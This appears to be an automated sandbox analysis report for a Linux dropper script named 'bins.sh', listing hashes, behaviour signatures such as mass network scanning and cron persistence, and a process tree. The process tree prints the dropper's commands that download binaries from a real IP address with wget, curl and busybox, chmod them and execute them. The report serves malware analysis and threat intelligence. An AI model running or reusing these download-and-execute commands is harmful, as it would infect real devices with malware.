Analysis
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max time kernel
150s -
max time network
152s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
04-11-2024 07:02
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
9df6a14e6b4001c13a62b4575e200d63
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SHA1
cf287c33fa75d8178ce187e258d33ff816a4e30e
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SHA256
0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51
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SHA512
1977eaf21cf49b7ac8b52497369a28ca4f0d974fa98da6be70a5eea14c222d5d8566c1eb308d59da88d564637ecc999ce6ed42bb1c941edda62eb4b0b9ea6163
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SSDEEP
192:Skc9kILGOtvHftOzUQoogUQWkakILGObvh:SxxtOSKz
Malware Config
Signatures
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Contacts a large (1901) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodpid Process 745 chmod 756 chmod 738 chmod -
Executes dropped EXE 3 IoCs
Processes:
osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WXBZB56NGFZVHodQiTGw8eici3bbN4G0a9nENAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3ioc pid Process /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX 739 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE 746 BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 758 NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 -
Renames itself 1 IoCs
Processes:
NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3pid Process 759 NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.rmASAI crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3description ioc Process File opened for reading /proc/891/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/925/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/926/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/983/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/1004/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/787/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/803/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/844/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/927/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/940/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/944/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/1011/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/794/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/796/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/864/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/1037/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/776/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/819/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/982/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/1002/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/775/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/11/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/427/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/712/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/807/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/924/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/980/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/995/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/997/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/315/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/1025/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/901/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/812/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/908/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/964/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/1038/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/15/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/853/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/888/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/921/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/958/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/984/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/998/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/1015/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/80/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/771/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/774/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/839/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/849/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/988/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/710/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/866/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/805/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/856/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/1014/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/798/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/13/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/845/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/876/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/898/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/951/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/1033/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/8/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 File opened for reading /proc/836/cmdline NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 -
Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlbusyboxbusyboxwgetcurlbusyboxwgetwgetcurldescription ioc Process File opened for modification /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE curl File opened for modification /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE busybox File opened for modification /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 busybox File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX wget File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX curl File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX busybox File opened for modification /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE wget File opened for modification /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 wget File opened for modification /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3 curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:708
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/bin/rm/bin/rm bins.sh2⤵PID:711
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/usr/bin/wgetwget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:716
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/usr/bin/curlcurl -O http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:731
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:737
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/bin/chmodchmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- File and Directory Permissions Modification
PID:738
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/tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Executes dropped EXE
PID:739
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/bin/rmrm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵PID:741
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/usr/bin/wgetwget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE2⤵
- Writes file to tmp directory
PID:742
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/usr/bin/curlcurl -O http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE2⤵
- Writes file to tmp directory
PID:743
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE2⤵
- Writes file to tmp directory
PID:744
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/bin/chmodchmod 777 BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE2⤵
- File and Directory Permissions Modification
PID:745
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/tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE./BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE2⤵
- Executes dropped EXE
PID:746
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/bin/rmrm BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE2⤵PID:748
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/usr/bin/wgetwget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT32⤵
- Writes file to tmp directory
PID:749
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/usr/bin/curlcurl -O http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT32⤵
- Writes file to tmp directory
PID:750
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT32⤵
- Writes file to tmp directory
PID:753
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/bin/chmodchmod 777 NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT32⤵
- File and Directory Permissions Modification
PID:756
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/tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3./NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT32⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:758 -
/bin/shsh -c "crontab -l"3⤵PID:760
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/usr/bin/crontabcrontab -l4⤵PID:762
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/bin/shsh -c "crontab -"3⤵PID:763
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:764
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/bin/rmrm NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT32⤵PID:772
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/usr/bin/wgetwget http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX2⤵PID:777
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/usr/bin/curlcurl -O http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX2⤵PID:779
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
210B
MD5575ed64e2bb48dedc15b42a24231cab3
SHA16dbfcb04f0ed262d210fb1dfad3d151c1b451c35
SHA256353f49d370305decc558232b57d37d572ec28a6be9059ea079acf24b1296d283
SHA5124c4e3f370f1cdcc98e0ad412a0b2cbc46ae66eb35106e069fb5c1a5dec939eb9aedf49dc8f5f4be1eeb16c1837fe15377c48656f39fda87cdd608d91b7e521f9